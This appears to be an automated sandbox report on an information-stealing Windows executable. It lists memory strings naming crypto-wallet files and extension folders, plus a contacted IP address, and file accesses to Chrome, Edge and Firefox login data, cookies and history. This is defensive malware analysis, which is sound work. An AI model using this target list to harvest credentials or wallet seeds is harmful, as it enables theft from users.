Source: file.exe, 00000000.00000002.2001894530.00000000004BC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2005702282.0000000000F87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\exodus.wallet\\passphrase.json
Source: file.exe, 00000000.00000002.2005702282.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 16.113Users\user\AppData\Roaming\Binance\simple-storage.json
Source: file.exe, 00000000.00000002.2001894530.00000000004BC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2001894530.00000000004BC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2005702282.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16\AppData\Roaming\\Coinomi\Coinomi\wallets\\.*z
Source: file.exe, 00000000.00000002.2005702282.0000000000F87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\exodus.wallet\\passphrase.json
Source: file.exe, 00000000.00000002.2001894530.00000000004BC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2001894530.00000000004BC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2001894530.00000000004BC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2001894530.00000000004BC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
